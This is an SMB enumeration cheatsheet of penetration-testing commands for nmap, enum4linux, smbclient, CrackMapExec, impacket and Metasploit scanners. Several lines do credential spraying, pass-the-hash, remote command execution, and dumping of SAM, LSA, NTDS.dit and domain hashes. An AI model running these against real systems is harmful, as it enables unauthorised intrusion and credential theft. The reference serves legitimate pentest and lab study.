SMB Enumeration Cheatsheet
Default Ports: 445 (TCP), 139 (TCP/NetBIOS), 137–138 (UDP)
Initial Scanning
nmap -p 139,445 -sV <ip>
nmap -p 445 --script smb-os-discovery <ip>
nmap -p 445 --script smb-security-mode <ip>
nmap -p 445 --script smb2-security-mode <ip>
nmap -p 139,445 --script smb-* <ip> # All SMB scripts
nmap -p 445 --script smb-vuln-* <ip> # All vuln checks
NetBIOS / NBT Scanning
nbtscan <ip>
nbtscan -r 192.168.1.0/24
nmblookup -A <ip>
enum4linux / enum4linux-ng
# Classic
enum4linux -a <ip> # All checks
enum4linux -u <user> -p <pass> <ip> # Authenticated
enum4linux -S <ip> # Shares only
enum4linux -U <ip> # Users only
enum4linux -P <ip> # Password policy
# Newer (recommended)
enum4linux-ng -A <ip>
enum4linux-ng -A <ip> -u <user> -p <pass>
enum4linux-ng -A <ip> -oA output
smbclient
# List shares
smbclient -L //<ip>/ -N # Null session
smbclient -L //<ip>/ -U <user>%<pass> # Authenticated
# Connect to share
smbclient //<ip>/<share> -N
smbclient //<ip>/<share> -U <user>%<pass>
smbclient //<ip>/<share> -U <domain>/<user>%<pass>
# Within smbclient shell
ls # List files
cd <dir> # Change directory
get <file> # Download file
put <file> # Upload file
recurse ON # Enable recursive operations
prompt OFF # Disable prompts
mget * # Download everything
mput * # Upload everything
CrackMapExec (CME)
# Basic info
crackmapexec smb <ip>
crackmapexec smb 192.168.1.0/24
# Authenticated enum
crackmapexec smb <ip> -u <user> -p <pass>
crackmapexec smb <ip> -u <user> -p <pass> --shares
crackmapexec smb <ip> -u <user> -p <pass> --users
crackmapexec smb <ip> -u <user> -p <pass> --groups
crackmapexec smb <ip> -u <user> -p <pass> --sessions
crackmapexec smb <ip> -u <user> -p <pass> --loggedon-users
crackmapexec smb <ip> -u <user> -p <pass> --local-groups
# Credential spraying
crackmapexec smb 192.168.1.0/24 -u <user> -p <pass> --continue-on-success
# Pass-the-Hash
crackmapexec smb <ip> -u <user> -H <nthash>
# Command execution
crackmapexec smb <ip> -u <user> -p <pass> -x 'whoami' # CMD
crackmapexec smb <ip> -u <user> -p <pass> -X 'whoami' # PowerShell
# Dump SAM/LSA
crackmapexec smb <ip> -u <user> -p <pass> --sam
crackmapexec smb <ip> -u <user> -p <pass> --lsa
crackmapexec smb <ip> -u <user> -p <pass> -M ntdsutil # NTDS.dit
impacket Tools
python3 smbclient.py <domain>/<user>:<pass>@<ip>
python3 samrdump.py <domain>/<user>:<pass>@<ip>
python3 rpcdump.py <domain>/<user>:<pass>@<ip>
python3 lookupsid.py <domain>/<user>:<pass>@<ip>
python3 secretsdump.py <domain>/<user>:<pass>@<ip> # Dump all hashes
python3 secretsdump.py -just-dc-ntlm <domain>/<user>:<pass>@<ip>
Mounting SMB Shares
# Linux mount
sudo mount -t cifs //<ip>/<share> /mnt/smb -o username=<user>,password=<pass>
sudo mount -t cifs //<ip>/<share> /mnt/smb -o username=<user>,password=<pass>,domain=<domain>
Key Vulnerabilities
| CVE | Name | Description |
|---|---|---|
| CVE-2017-0144 | EternalBlue / MS17-010 | SMBv1 RCE — WannaCry / NotPetya |
| CVE-2020-0796 | SMBGhost | SMBv3.1.1 compression RCE |
| CVE-2021-34527 | PrintNightmare | Print Spooler RCE via SMB |
# EternalBlue check
nmap -p 445 --script smb-vuln-ms17-010 <ip>
use auxiliary/scanner/smb/smb_ms17_010
# SMBGhost check
nmap -p 445 --script smb-vuln-cve2020-0796 <ip>
use auxiliary/scanner/smb/cve_2020_0796_smbghost